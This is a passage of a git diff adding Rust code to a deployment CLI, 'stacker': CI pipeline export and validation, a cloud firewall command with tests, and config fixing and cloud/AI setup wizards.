return Ok(()); + } + } + + // Create parent directories if needed + if let Some(parent) = output_path.parent() { + if !parent.as_os_str().is_empty() { + std::fs::create_dir_all(parent)?; + } + } + + std::fs::write(&output_path, &output_content)?; + println!("✓ Generated {}", output_path.display()); + + match self.platform.to_lowercase().as_str() { + "github" | "github-actions" | "gha" => { + println!(); + println!("Next steps:"); + println!(" 1. Add STACKER_TOKEN to your GitHub repository secrets"); + println!(" (Settings → Secrets and variables → Actions)"); + println!(" 2. Commit and push the workflow file:"); + println!( + " git add {} && git commit -m 'ci: add stacker deploy workflow'", + output_path.display() + ); + } + "gitlab" | "gitlab-ci" => { + println!(); + println!("Next steps:"); + println!(" 1. Add STACKER_TOKEN to your GitLab CI/CD variables"); + println!(" (Settings → CI/CD → Variables)"); + println!(" 2. Commit and push the pipeline file:"); + println!( + " git add {} && git commit -m 'ci: add stacker deploy pipeline'", + output_path.display() + ); + } + "bitbucket" | "bitbucket-pipelines" | "bb" => { + println!(); + println!("Next steps:"); + println!(" 1. Add STACKER_TOKEN to your Bitbucket repository variables"); + println!(" (Repository settings → Pipelines → Repository variables)"); + println!(" 2. Commit and push the pipeline file:"); + println!( + " git add {} && git commit -m 'ci: add stacker deploy pipeline'", + output_path.display() + ); + } + "jenkins" | "jenkinsfile" => { + println!(); + println!("Next steps:"); + println!(" 1. Add STACKER_TOKEN to your Jenkins job environment or credentials"); + println!(" (for example, as a job parameter or injected secret text)"); + println!(" 2. Commit and push the pipeline file:"); + println!( + " git add {} && git commit -m 'ci: add stacker deploy pipeline'", + output_path.display() + ); + } + _ => {} + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ci validate +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker ci validate --platform ` +/// +/// Checks that the existing pipeline file was generated for the current +/// `stacker.yml` (i.e., the project name in the pipeline matches). +pub struct CiValidateCommand { + pub platform: String, +} + +impl CiValidateCommand { + pub fn new(platform: String) -> Self { + Self { platform } + } +} + +impl CallableTrait for CiValidateCommand { + fn call(&self) -> Result<(), Box> { + let config = StackerConfig::from_file(Path::new(DEFAULT_CONFIG_FILE))? + .with_resolved_deploy_target(None)?; + + let pipeline_path = match self.platform.to_lowercase().as_str() { + "github" | "github-actions" | "gha" => { + PathBuf::from(".github/workflows/stacker-deploy.yml") + } + "gitlab" | "gitlab-ci" => PathBuf::from(".gitlab-ci.yml"), + "bitbucket" | "bitbucket-pipelines" | "bb" => PathBuf::from("bitbucket-pipelines.yml"), + "jenkins" | "jenkinsfile" => PathBuf::from("Jenkinsfile"), + other => { + return Err(Box::new(CliError::ConfigValidation(format!( + "Unknown platform '{other}'. Supported: github, gitlab, bitbucket, jenkins" + )))); + } + }; + + if !pipeline_path.exists() { + eprintln!("✗ Pipeline file not found: {}", pipeline_path.display()); + eprintln!(" Run: stacker ci export --platform {}", self.platform); + return Err(Box::new(CliError::ConfigValidation(format!( + "Pipeline file not found: {}", + pipeline_path.display() + )))); + } + + let pipeline_content = std::fs::read_to_string(&pipeline_path)?; + + // Basic check: does the pipeline mention the project name? + if pipeline_content.contains(&config.name) { + println!("✓ Pipeline {} looks up-to-date", pipeline_path.display()); + Ok(()) + } else { + eprintln!( + "✗ Pipeline {} does not reference project name '{}'", + pipeline_path.display(), + config.name + ); + eprintln!( + " Re-generate with: stacker ci export --platform {}", + self.platform + ); + Err(Box::new(CliError::ConfigValidation( + "Pipeline may be out of sync with stacker.yml".to_string(), + ))) + } + } +} diff --git a/stacker/stacker/src/console/commands/cli/cloud_firewall.rs b/stacker/stacker/src/console/commands/cli/cloud_firewall.rs new file mode 100644 index 0000000..32db225 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/cloud_firewall.rs @@ -0,0 +1,294 @@ +use crate::cli::deployment_lock::DeploymentLock; +use crate::cli::error::CliError; +use crate::cli::runtime::CliRuntime; +use crate::console::commands::CallableTrait; +use crate::forms::{ + parse_private_port, parse_public_port, CloudFirewallAction, ConfigureCloudFirewallRequest, + ConfigureCloudFirewallResponse, +}; + +pub struct CloudFirewallCommand { + pub action: CloudFirewallAction, + pub server_id: Option, + pub public_ports: Vec, + pub private_ports: Vec, + pub dry_run: bool, + pub json: bool, +} + +impl CloudFirewallCommand { + pub fn new( + action: CloudFirewallAction, + server_id: Option, + public_ports: Vec, + private_ports: Vec, + dry_run: bool, + json: bool, + ) -> Self { + Self { + action, + server_id, + public_ports, + private_ports, + dry_run, + json, + } + } + + fn resolve_server_id(&self, ctx: &CliRuntime) -> Result { + if let Some(server_id) = self.server_id { + return Ok(server_id); + } + + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + + if let Ok(Some(lock)) = DeploymentLock::load_active(&project_dir) { + if let Some(server_name) = lock.server_name { + if let Ok(Some(server)) = + ctx.block_on(ctx.client.find_server_by_name(&server_name)) + { + return Ok(server.id); + } + } + } + let config_path = project_dir.join("stacker.yml"); + if !config_path.exists() { + return Err(CliError::ConfigValidation( + "Use --server-id , or run from a directory with stacker.yml".to_string(), + )); + } + + let config = crate::cli::config_parser::StackerConfig::from_file(&config_path) + .and_then(|config| config.with_resolved_deploy_target(None))?; + let project_name = config.project.identity.ok_or_else(|| { + CliError::ConfigValidation( + "Use --server-id , or set project.identity in stacker.yml".to_string(), + ) + })?; + let project = ctx + .block_on(ctx.client.find_project_by_name(&project_name))? + .ok_or_else(|| { + CliError::ConfigValidation(format!( + "Project '{}' was not found on the Stacker server", + project_name + )) + })?; + let servers = ctx.block_on(ctx.client.list_servers())?; + let mut project_servers = servers + .into_iter() + .filter(|server| server.project_id == project.id) + .collect::>(); + project_servers.sort_by_key(|server| server.id); + + match project_servers.as_slice() { + [server] => Ok(server.id), + [] => Err(CliError::ConfigValidation(format!( + "No server found for project '{}'. Use --server-id .", + project_name + ))), + _ => Err(CliError::ConfigValidation(format!( + "Multiple servers found for project '{}'. Use --server-id .", + project_name + ))), + } + } +} + +impl CallableTrait for CloudFirewallCommand { + fn call(&self) -> Result<(), Box> { + let ctx = CliRuntime::new("cloud firewall")?; + let server_id = self.resolve_server_id(&ctx)?; + let public_ports = self + .public_ports + .iter() + .map(|port| parse_public_port(port)) + .collect::, _>>() + .map_err(CliError::ConfigValidation)?; + let private_ports = self + .private_ports + .iter() + .map(|port| parse_private_port(port)) + .collect::, _>>() + .map_err(CliError::ConfigValidation)?; + + let request = ConfigureCloudFirewallRequest { + action: Some(self.action.clone()), + public_ports, + private_ports, + dry_run: self.dry_run, + }; + let response = ctx.block_on(ctx.client.configure_cloud_firewall(server_id, &request))?; + + if self.json { + println!("{}", serde_json::to_string_pretty(&response)?); + return Ok(()); + } + + for line in format_response_lines(&response, crate::cli::debug::cli_debug_enabled()) { + println!("{}", line); + } + + Ok(()) + } +} + +fn format_response_lines(response: &ConfigureCloudFirewallResponse, debug: bool) -> Vec { + let mut lines = Vec::new(); + if response.action == CloudFirewallAction::List { + lines.push(format!( + "Cloud firewall list for server {} ({})", + response.server_id, response.provider + )); + } else { + lines.push(format!( + "Cloud firewall {} accepted for server {} ({})", + response.action.as_str(), + response.server_id, + response.provider + )); + } + if debug { + lines.push(format!("Operation: {}", response.operation_id)); + lines.push(format!("Route: {}", response.routing_key)); + } + + if let Some(firewall) = &response.firewall { + let id = firewall + .id + .map(|id| format!(" (#{})", id)) + .unwrap_or_default(); + lines.push(format!("Firewall: {}{}", firewall.name, id)); + if firewall.rules.is_empty() { + lines.push("Rules: none".to_string()); + } else { + lines.push("Rules:".to_string()); + for rule in &firewall.rules { + lines.push(format_provider_rule(rule)); + } + } + return lines; + } + + if let Some(name) = &response.firewall_name { + lines.push(format!("Firewall: {}", name)); + } + + for rule in &response.rules { + lines.push(format!( + "- {} {}/{} from {}", + rule.direction.as_str(), + rule.port, + rule.protocol, + rule.source + )); + } + lines +} + +fn format_provider_rule(rule: &crate::forms::CloudFirewallProviderRule) -> String { + let peer_label = if rule.source_ips.is_empty() { + "to" + } else { + "from" + }; + let peers = if rule.source_ips.is_empty() { + rule.destination_ips.join(", ") + } else { + rule.source_ips.join(", ") + }; + let peers = if peers.is_empty() { + "-" + } else { + peers.as_str() + }; + let description = rule + .description + .as_deref() + .filter(|description| !description.trim().is_empty()) + .map(|description| format!(" ({})", description)) + .unwrap_or_default(); + + format!( + "- {} {}/{} {} {}{}", + rule.direction, rule.port, rule.protocol, peer_label, peers, description + ) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::forms::{CloudFirewallDetails, CloudFirewallProviderRule}; + + #[test] + fn cloud_firewall_command_stores_action_and_ports() { + let command = CloudFirewallCommand::new( + CloudFirewallAction::Add, + Some(42), + vec!["8000/tcp".to_string()], + vec![], + false, + true, + ); + + assert_eq!(command.server_id, Some(42)); + assert_eq!(command.public_ports, vec!["8000/tcp"]); + assert_eq!(command.action, CloudFirewallAction::Add); + } + + #[test] + fn cloud_firewall_list_output_includes_firewall_name_and_rules() { + let response = ConfigureCloudFirewallResponse { + operation_id: "cfw_test".to_string(), + accepted: true, + protocol_version: "stacker.cloud_firewall.v1".to_string(), + provider: "htz".to_string(), + server_id: 80, + action: CloudFirewallAction::List, + rules: Vec::new(), + routing_key: "install.firewall.htz.v1".to_string(), + message: "Cloud firewall list retrieved".to_string(), + firewall_name: Some("frw-coolify-86b8".to_string()), + firewall: Some(CloudFirewallDetails { + id: Some(123), + name: "frw-coolify-86b8".to_string(), + rules: vec![CloudFirewallProviderRule { + direction: "in".to_string(), + protocol: "tcp".to_string(), + port: "8000".to_string(), + source_ips: vec!["0.0.0.0/0".to_string()], + destination_ips: Vec::new(), + description: Some("Coolify".to_string()), + }], + }), + }; + + let lines = format_response_lines(&response, false); + + assert!(lines.contains(&"Firewall: frw-coolify-86b8 (#123)".to_string())); + assert!(lines.contains(&"- in 8000/tcp from 0.0.0.0/0 (Coolify)".to_string())); + assert!(!lines.iter().any(|line| line.starts_with("Operation:"))); + assert!(!lines.iter().any(|line| line.starts_with("Route:"))); + } + + #[test] + fn cloud_firewall_list_output_includes_debug_metadata_when_debug_enabled() { + let response = ConfigureCloudFirewallResponse { + operation_id: "cfw_test".to_string(), + accepted: true, + protocol_version: "stacker.cloud_firewall.v1".to_string(), + provider: "htz".to_string(), + server_id: 80, + action: CloudFirewallAction::List, + rules: Vec::new(), + routing_key: "install.firewall.htz.v1".to_string(), + message: "Cloud firewall list retrieved".to_string(), + firewall_name: Some("frw-coolify-86b8".to_string()), + firewall: None, + }; + + let lines = format_response_lines(&response, true); + + assert!(lines.contains(&"Operation: cfw_test".to_string())); + assert!(lines.contains(&"Route: install.firewall.htz.v1".to_string())); + } +} diff --git a/stacker/stacker/src/console/commands/cli/config.rs b/stacker/stacker/src/console/commands/cli/config.rs new file mode 100644 index 0000000..b7234d1 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/config.rs @@ -0,0 +1,2323 @@ +use std::collections::BTreeSet; +use std::io::{self, Write}; +use std::path::{Path, PathBuf}; + +use crate::cli::cloud_env; +use crate::cli::config_check::{check_inventory, load_check, ConfigCheckItem, ConfigCheckResult}; +use crate::cli::config_contract::{suggest_contract_yaml, ContractSuggestOptions}; +use crate::cli::config_diff::{diff_inventories, load_diff, ConfigDiff, DiffItem}; +use crate::cli::config_inventory::{ + load_inventory, merge_remote_secret_names, ConfigInventory, InventoryOptions, +}; +use crate::cli::config_parser::{ + AiProviderType, CloudConfig, CloudOrchestrator, CloudProvider, DeployTarget, ServerConfig, + StackerConfig, +}; +use crate::cli::config_promote::{ + load_promotion_plan, promotion_plan_from_diff, ConfigPromotionPlan, +}; +use crate::cli::debug::cli_debug_enabled; +use crate::cli::deployment_lock::DeploymentLock; +use crate::cli::error::CliError; +use crate::cli::runtime::CliRuntime; +use crate::cli::stacker_client::ProjectAppInfo; +use crate::console::commands::cli::init::full_config_reference_example; +use crate::console::commands::CallableTrait; +use crate::helpers::env_path::{compose_env_file_reference, remote_runtime_env_path}; +use crate::services::runtime_env_contract_response; + +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +#[derive(Debug, Clone, PartialEq, Eq)] +enum RawPathIssueKind { + Empty, + NonString(&'static str), +} + +#[derive(Debug, Clone, PartialEq, Eq)] +struct RawPathIssue { + field: String, + kind: RawPathIssueKind, +} + +/// Resolve config path from optional override. +fn resolve_config_path(file: &Option) -> String { + file.as_deref().unwrap_or(DEFAULT_CONFIG_FILE).to_string() +} + +fn is_path_like_field(field: &str) -> bool { + matches!( + field, + "path" + | "dockerfile" + | "config" + | "compose_file" + | "remote_payload_file" + | "ssh_key" + | "pre_build" + | "post_deploy" + | "on_failure" + | "env_file" + ) +} + +fn yaml_value_kind(value: &serde_yaml::Value) -> &'static str { + match value { + serde_yaml::Value::Null => "empty", + serde_yaml::Value::Bool(_) => "boolean", + serde_yaml::Value::Number(_) => "number", + serde_yaml::Value::String(_) => "string", + serde_yaml::Value::Sequence(_) => "sequence", + serde_yaml::Value::Mapping(_) => "map", + serde_yaml::Value::Tagged(_) => "tagged value", + } +} + +fn collect_raw_path_issues( + value: &serde_yaml::Value, + prefix: Option<&str>, + issues: &mut Vec, +) { + if let serde_yaml::Value::Mapping(map) = value { + for (key, child) in map { + let Some(key_str) = key.as_str() else { + continue; + }; + + let field = match prefix { + Some(parent) if !parent.is_empty() => format!("{parent}.{key_str}"), + _ => key_str.to_string(), + }; + + if is_path_like_field(key_str) { + match child { + serde_yaml::Value::Null => issues.push(RawPathIssue { + field: field.clone(), + kind: RawPathIssueKind::Empty, + }), + serde_yaml::Value::String(_) => {} + other => issues.push(RawPathIssue { + field: field.clone(), + kind: RawPathIssueKind::NonString(yaml_value_kind(other)), + }), + } + } + + collect_raw_path_issues(child, Some(&field), issues); + } + } +} + +fn load_raw_path_issues(path: &Path) -> Result, CliError> { + let raw = std::fs::read_to_string(path)?; + let parsed: serde_yaml::Value = serde_yaml::from_str(&raw)?; + let mut issues = Vec::new(); + collect_raw_path_issues(&parsed, None, &mut issues); + Ok(issues) +} + +fn remove_empty_path_fields( + value: &mut serde_yaml::Value, + prefix: Option<&str>, + applied: &mut Vec, +) { + if let serde_yaml::Value::Mapping(map) = value { + let keys_to_remove: Vec = map + .iter() + .filter_map(|(key, child)| { + let key_str = key.as_str()?; + if !is_path_like_field(key_str) || !matches!(child, serde_yaml::Value::Null) { + return None; + } + + let field = match prefix { + Some(parent) if !parent.is_empty() => format!("{parent}.{key_str}"), + _ => key_str.to_string(), + }; + applied.push(format!("Removed empty path field `{field}`")); + Some(key.clone()) + }) + .collect(); + + for key in keys_to_remove { + map.remove(&key); + } + + for (key, child) in map.iter_mut() { + if let Some(key_str) = key.as_str() { + let field = match prefix { + Some(parent) if !parent.is_empty() => format!("{parent}.{key_str}"), + _ => key_str.to_string(), + }; + remove_empty_path_fields(child, Some(&field), applied); + } + } + } +} + +fn try_fix_raw_path_issues(config_path: &str) -> Result, CliError> { + let raw = std::fs::read_to_string(config_path)?; + let mut parsed: serde_yaml::Value = serde_yaml::from_str(&raw)?; + let mut applied = Vec::new(); + remove_empty_path_fields(&mut parsed, None, &mut applied); + + if applied.is_empty() { + return Ok(applied); + } + + let backup_path = format!("{}.bak", config_path); + std::fs::copy(config_path, &backup_path)?; + let yaml = serde_yaml::to_string(&parsed) + .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?; + std::fs::write(config_path, yaml)?; + applied.push(format!("Backup written to {}", backup_path)); + Ok(applied) +} + +fn render_raw_path_issue(issue: &RawPathIssue) -> String { + match issue.kind { + RawPathIssueKind::Empty => format!( + "`{}` is empty. Remove the key or set it to a quoted path string", + issue.field + ), + RawPathIssueKind::NonString(kind) => format!( + "`{}` must be a quoted path string, but found {}", + issue.field, kind + ), + } +} + +fn prompt_line(prompt: &str) -> Result { + print!("{}", prompt); + io::stdout().flush()?; + let mut input = String::new(); + io::stdin().read_line(&mut input)?; + Ok(input.trim().to_string()) +} + +fn prompt_with_default(prompt: &str, default: &str) -> Result { + let line = prompt_line(&format!("{} [{}]: ", prompt, default))?; + if line.is_empty() { + Ok(default.to_string()) + } else { + Ok(line) + } +} + +fn parse_cloud_provider(s: &str) -> Result { + let json = format!("\"{}\"", s.trim().to_lowercase()); + serde_json::from_str::(&json).map_err(|_| { + CliError::ConfigValidation( + "Invalid cloud provider. Use: hetzner, digitalocean, aws, linode, vultr, contabo" + .to_string(), + ) + }) +} + +fn parse_ai_provider(s: &str) -> Result { + let json = format!("\"{}\"", s.trim().to_lowercase()); + serde_json::from_str::(&json).map_err(|_| { + CliError::ConfigValidation( + "Invalid AI provider. Use: openai, anthropic, ollama, custom".to_string(), + ) + }) +} + +fn default_region_for_provider(provider: CloudProvider) -> &'static str { + match provider { + CloudProvider::Hetzner => "nbg1", + CloudProvider::Digitalocean => "fra1", + CloudProvider::Aws => "us-east-1", + CloudProvider::Linode => "us-east", + CloudProvider::Vultr => "ewr", + CloudProvider::Contabo => "EU", + } +} + +fn default_size_for_provider(provider: CloudProvider) -> &'static str { + match provider { + CloudProvider::Hetzner => "cx23", + CloudProvider::Digitalocean => "s-1vcpu-2gb", + CloudProvider::Aws => "t3.small", + CloudProvider::Linode => "g6-standard-2", + CloudProvider::Vultr => "vc2-2c-4gb", + CloudProvider::Contabo => "V45", + } +} + +fn sanitize_stack_code(name: &str) -> String { + let mut out = String::new(); + let mut prev_dash = false; + + for ch in name.chars() { + let c = ch.to_ascii_lowercase(); + if c.is_ascii_alphanumeric() { + out.push(c); + prev_dash = false; + } else if !prev_dash { + out.push('-'); + prev_dash = true; + } + } + + let out = out.trim_matches('-').to_string(); + if out.is_empty() { + "app-stack".to_string() + } else { + out + } +} + +fn provider_code_for_remote(provider: CloudProvider) -> &'static str { + match provider { + CloudProvider::Hetzner => "htz", + CloudProvider::Digitalocean => "do", + CloudProvider::Aws => "aws", + CloudProvider::Linode => "lo", + CloudProvider::Vultr => "vu", + CloudProvider::Contabo => "cnt", + } +} + +fn first_non_empty_env(keys: &[&str]) -> Option { + keys.iter().find_map(|key| { + std::env::var(key) + .ok() + .map(|v| v.trim().to_string()) + .filter(|v| !v.is_empty()) + }) +} + +fn resolve_remote_cloud_credentials( + provider_code: &str, +) -> serde_json::Map { + let mut creds = serde_json::Map::new(); + + match provider_code { + "htz" => { + if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("htz")) { + creds.insert("cloud_token".to_string(), serde_json::Value::String(token)); + } + } + "do" => { + if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("do")) { + creds.insert("cloud_token".to_string(), serde_json::Value::String(token)); + } + } + "lo" => { + if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("lo")) { + creds.insert("cloud_token".to_string(), serde_json::Value::String(token)); + } + } + "vu" => { + if let Some(token) = first_non_empty_env(cloud_env::token_env_vars("vu")) { + creds.insert("cloud_token".to_string(), serde_json::Value::String(token)); + } + } + "aws" => { + if let Some(key) = first_non_empty_env(cloud_env::key_env_vars("aws")) { + creds.insert("cloud_key".to_string(), serde_json::Value::String(key)); + } + if let Some(secret) = first_non_empty_env(cloud_env::secret_env_vars("aws")) { + creds.insert( + "cloud_secret".to_string(), + serde_json::Value::String(secret), + ); + } + } + _ => {} + } + + creds +} + +pub fn run_generate_remote_payload( + config_path: &str, + output: Option<&str>, +) -> Result, CliError> { + let path = Path::new(config_path); + if !path.exists() { + return Err(CliError::ConfigNotFound { + path: PathBuf::from(config_path), + }); + } + + let mut config = StackerConfig::from_file_raw(path)?; + let config_dir = path.parent().unwrap_or_else(|| Path::new(".")); + + let output_path = match output { + Some(out) => { + let p = PathBuf::from(out); + if p.is_absolute() { + p + } else { + config_dir.join(p) + } + } + None => config_dir.join("stacker.remote.deploy.json"), + }; + + let cloud = config.deploy.cloud.clone(); + let provider = cloud + .as_ref() + .map(|c| c.provider) + .unwrap_or(CloudProvider::Hetzner); + let region = cloud + .as_ref() + .and_then(|c| c.region.clone()) + .unwrap_or_else(|| default_region_for_provider(provider).to_string()); + let size = cloud + .as_ref() + .and_then(|c| c.size.clone()) + .unwrap_or_else(|| default_size_for_provider(provider).to_string()); + let stack_code = config + .project + .identity + .clone() + .map(|v| v.trim().to_string()) + .filter(|v| !v.is_empty()) + .unwrap_or_else(|| "custom-stack".to_string()); + let provider_code = provider_code_for_remote(provider); + let os = match provider_code { + "do" => "docker-20-04", // DigitalOcean marketplace image with Docker pre-installed + "htz" => "docker-ce", // Hetzner snapshot with Docker CE pre-installed (Ubuntu 24.04) + _ => "ubuntu-22.04", + }; + + let mut payload = serde_json::json!({ + "provider": provider_code, + "region": region, + "server": size, + "os": os, + "ssl": "letsencrypt", + "commonDomain": format!("{}.example.com", sanitize_stack_code(&config.name)), + "domainList": {}, + "stack_code": stack_code, + "project_name": config.name, + "selected_plan": "free", + "payment_type": "subscription", + "subscriptions": [], + "vars": [], + "integrated_features": [], + "extended_features": [], + "save_token": true, + "custom": { + "project_name": config.name, + "custom_stack_code": sanitize_stack_code(&config.name), + "project_overview": format!("Generated by stacker-cli for {}", config.name) + } + }); + + if let Some(obj) = payload.as_object_mut() { + for (key, value) in resolve_remote_cloud_credentials(provider_code) { + obj.insert(key, value); + } + } + + if let Some(parent) = output_path.parent() { + std::fs::create_dir_all(parent)?; + } + let payload_str = serde_json::to_string_pretty(&payload) + .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize payload: {}", e)))?; + std::fs::write(&output_path, payload_str)?; + + let remote_payload_file = output_path + .strip_prefix(config_dir) + .map(PathBuf::from) + .unwrap_or_else(|_| output_path.clone()); + + let existing_cloud = config.deploy.cloud.clone().unwrap_or(CloudConfig { + provider, + orchestrator: CloudOrchestrator::Remote, + region: Some(default_region_for_provider(provider).to_string()), + size: Some(default_size_for_provider(provider).to_string()), + install_image: None, + remote_payload_file: None, + ssh_key: None, + key: None, + server: None, + }); + + config.deploy.target = DeployTarget::Cloud; + config.deploy.cloud = Some(CloudConfig { + provider: existing_cloud.provider, + orchestrator: CloudOrchestrator::Remote, + region: existing_cloud.region, + size: existing_cloud.size, + install_image: existing_cloud.install_image, + remote_payload_file: Some(remote_payload_file), + ssh_key: existing_cloud.ssh_key, + key: existing_cloud.key, + server: existing_cloud.server, + }); + + let backup_path = format!("{}.bak", config_path); + std::fs::copy(config_path, &backup_path)?; + let yaml = serde_yaml::to_string(&config) + .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?; + std::fs::write(config_path, yaml)?; + + Ok(vec![ + format!( + "Generated remote payload (advanced/debug): {}", + output_path.display() + ), + "Set deploy.target=cloud and deploy.cloud.orchestrator=remote (advanced mode)".to_string(), + "Tip: regular users can skip this and run `stacker deploy --target cloud` directly" + .to_string(), + format!("Backup written to {}", backup_path), + ]) +} + +fn apply_cloud_settings( + config: &mut StackerConfig, + provider: CloudProvider, + region: Option, + size: Option, + ssh_key: Option, +) { + let existing_orchestrator = config + .deploy + .cloud + .as_ref() + .map(|c| c.orchestrator) + .unwrap_or(CloudOrchestrator::Remote); + let existing_install_image = config + .deploy + .cloud + .as_ref() + .and_then(|c| c.install_image.clone()); + + let existing_remote_payload_file = config + .deploy + .cloud + .as_ref() + .and_then(|c| c.remote_payload_file.clone()); + + config.deploy.target = DeployTarget::Cloud; + config.deploy.cloud = Some(CloudConfig { + provider, + orchestrator: existing_orchestrator, + region, + size, + install_image: existing_install_image, + remote_payload_file: existing_remote_payload_file, + ssh_key, + key: None, + server: None, + }); +} + +pub struct AiSetupOptions<'a> { + pub provider: Option<&'a str>, + pub endpoint: Option<&'a str>, + pub model: Option<&'a str>, + pub timeout: Option, + pub tasks: &'a [String], +} + +pub fn run_setup_ai( + config_path: &str, + options: AiSetupOptions<'_>, +) -> Result, CliError> { + let path = Path::new(config_path); + if !path.exists() { + return Err(CliError::ConfigNotFound { + path: PathBuf::from(config_path), + }); + } + + let mut config = StackerConfig::from_file_raw(path)?; + let interactive = options.provider.is_none() + && options.endpoint.is_none() + && options.model.is_none() + && options.timeout.is_none() + && options.tasks.is_empty(); + + let provider = if let Some(provider) = options.provider { + parse_ai_provider(provider)? + } else if interactive { + parse_ai_provider(&prompt_with_default( + "AI provider (openai|anthropic|ollama|custom)", + &config.ai.provider.to_string(), + )?)? + } else { + AiProviderType::Ollama + }; + + let endpoint = if let Some(endpoint) = options.endpoint { + Some(endpoint.trim().to_string()).filter(|value| !value.is_empty()) + } else if interactive { + let default = config + .ai + .endpoint + .clone() + .unwrap_or_else(|| "http://localhost:11434".to_string()); + Some(prompt_with_default("AI endpoint", &default)?).filter(|value| !value.trim().is_empty()) + } else { + config.ai.endpoint.clone() + }; + + let model = if let Some(model) = options.model { + Some(model.trim().to_string()).filter(|value| !value.is_empty()) + } else if interactive { + let default = config + .ai + .model + .clone() + .unwrap_or_else(|| "llama3.1".to_string()); + Some(prompt_with_default("AI model", &default)?).filter(|value| !value.trim().is_empty()) + } else { + config.ai.model.clone() + }; + + let timeout = if let Some(timeout) = options.timeout { + timeout + } else if interactive { + prompt_with_default("AI timeout seconds", &config.ai.timeout.to_string())? + .parse::() + .unwrap_or(config.ai.timeout) + } else if config.ai.timeout == 0 { + 300 + } else { + config.ai.timeout + }; + + let tasks = if !options.tasks.is_empty() { + options + .tasks + .iter() + .flat_map(|task| task.split(',')) + .map(str::trim) + .filter(|task| !task.is_empty()) + .map(ToOwned::to_owned) + .collect::>() + } else if interactive { + let default = if config.ai.tasks.is_empty() { + "dockerfile,compose,troubleshoot".to_string() + } else { + config.ai.tasks.join(",") + }; + prompt_with_default("AI tasks (comma-separated)", &default)? + .split(',') + .map(str::trim) + .filter(|task| !task.is_empty()) + .map(ToOwned::to_owned) + .collect() + } else if config.ai.tasks.is_empty() { + vec![ + "dockerfile".to_string(), + "compose".to_string(), + "troubleshoot".to_string(), + ] + } else { + config.ai.tasks.clone() + }; + + config.ai.enabled = true; + config.ai.provider = provider; + config.ai.endpoint = endpoint; + config.ai.model = model; + config.ai.timeout = timeout; + config.ai.tasks = tasks; + + let backup_path = format!("{}.bak", config_path); + std::fs::copy(config_path, &backup_path)?; + let yaml = serde_yaml::to_string(&config) + .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?; + std::fs::write(config_path, yaml)?; + + Ok(vec![ + "Enabled ai configuration".to_string(), + format!("Set ai.provider={}", config.ai.provider), + format!("Backup written to {}", backup_path), + ]) +} + +pub fn run_setup_cloud_interactive(config_path: &str) -> Result, CliError> { + let path = Path::new(config_path); + if !path.exists() { + return Err(CliError::ConfigNotFound { + path: PathBuf::from(config_path), + }); + } + + let mut config = StackerConfig::from_file_raw(path)?; + let mut applied = Vec::new(); + + eprintln!("Cloud setup wizard:"); + + let provider_default = config + .deploy + .cloud + .as_ref() + .map(|c| c.provider) + .unwrap_or(CloudProvider::Hetzner); + + let provider_input = prompt_with_default( + "Cloud provider (hetzner|digitalocean|aws|linode|vultr)", + &provider_default.to_string(), + )?; + let provider = parse_cloud_provider(&provider_input)?; + + let region_default = config + .deploy + .cloud + .as_ref() + .and_then(|c| c.region.clone()) + .unwrap_or_else(|| default_region_for_provider(provider).to_string()); + let region = prompt_with_default("Cloud region", ®ion_default)?; + + let size_default = config + .deploy + .cloud + .as_ref() + .and_then(|c| c.size.clone()) + .unwrap_or_else(|| default_size_for_provider(provider).to_string()); + let size = prompt_with_default("Cloud size", &size_default)?; + + let ssh_key_default = config + .deploy + .cloud + .as_ref() + .and_then(|c| c.ssh_key.clone()) + .map(|p| p.to_string_lossy().to_string()) + .unwrap_or_else(|| "~/.ssh/id_rsa".to_string()); + let ssh_key_input = + prompt_with_default("SSH key path (leave empty to skip)", &ssh_key_default)?; + + let region_opt = if region.trim().is_empty() { + None + } else { + Some(region) + }; + let size_opt = if size.trim().is_empty() { + None + } else { + Some(size) + }; + let ssh_key_opt = if ssh_key_input.trim().is_empty() { + None + } else { + Some(PathBuf::from(ssh_key_input)) + }; + + apply_cloud_settings(&mut config, provider, region_opt, size_opt, ssh_key_opt); + + let backup_path = format!("{}.bak", config_path); + std::fs::copy(config_path, &backup_path)?; + + let yaml = serde_yaml::to_string(&config) + .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?; + std::fs::write(config_path, yaml)?; + + applied.push("Set deploy.target=cloud and deploy.cloud.*".to_string()); + applied.push(format!("Backup written to {}", backup_path)); + Ok(applied) +} + +/// Interactive fixer for common missing required fields. +/// +/// Current MVP handles: +/// - E001: missing deploy.cloud.provider +/// - E002: missing deploy.server.host +pub fn run_fix_interactive(config_path: &str) -> Result, CliError> { + let path = Path::new(config_path); + if !path.exists() { + return Err(CliError::ConfigNotFound { + path: PathBuf::from(config_path), + }); + } + + let raw_applied = try_fix_raw_path_issues(config_path)?; + if !raw_applied.is_empty() { + return Ok(raw_applied); + } + + let mut config = match StackerConfig::from_file_raw(path) { + Ok(config) => config, + Err(CliError::ConfigParseFailed { .. }) => { + let issues = load_raw_path_issues(path)?; + if !issues.is_empty() { + let details = issues + .iter() + .map(render_raw_path_issue) + .collect::>() + .join("; "); + return Err(CliError::ConfigValidation(format!( + "Cannot auto-fix stacker.yml yet: {details}" + ))); + } + + return Err(CliError::ConfigValidation( + "Cannot auto-fix stacker.yml because it contains parse errors outside the supported path-field recovery".to_string(), + )); + } + Err(err) => return Err(err), + }; + let issues = config.validate_semantics(); + let mut applied = Vec::new(); + + if issues.is_empty() { + return Ok(applied); + } + + for issue in &issues { + match issue.code.as_str() { + "E001" => { + eprintln!("Detected missing cloud provider settings (E001)."); + + let provider_default = config + .deploy + .cloud + .as_ref() + .map(|c| c.provider.to_string()) + .unwrap_or_else(|| "hetzner".to_string()); + + let provider_input = 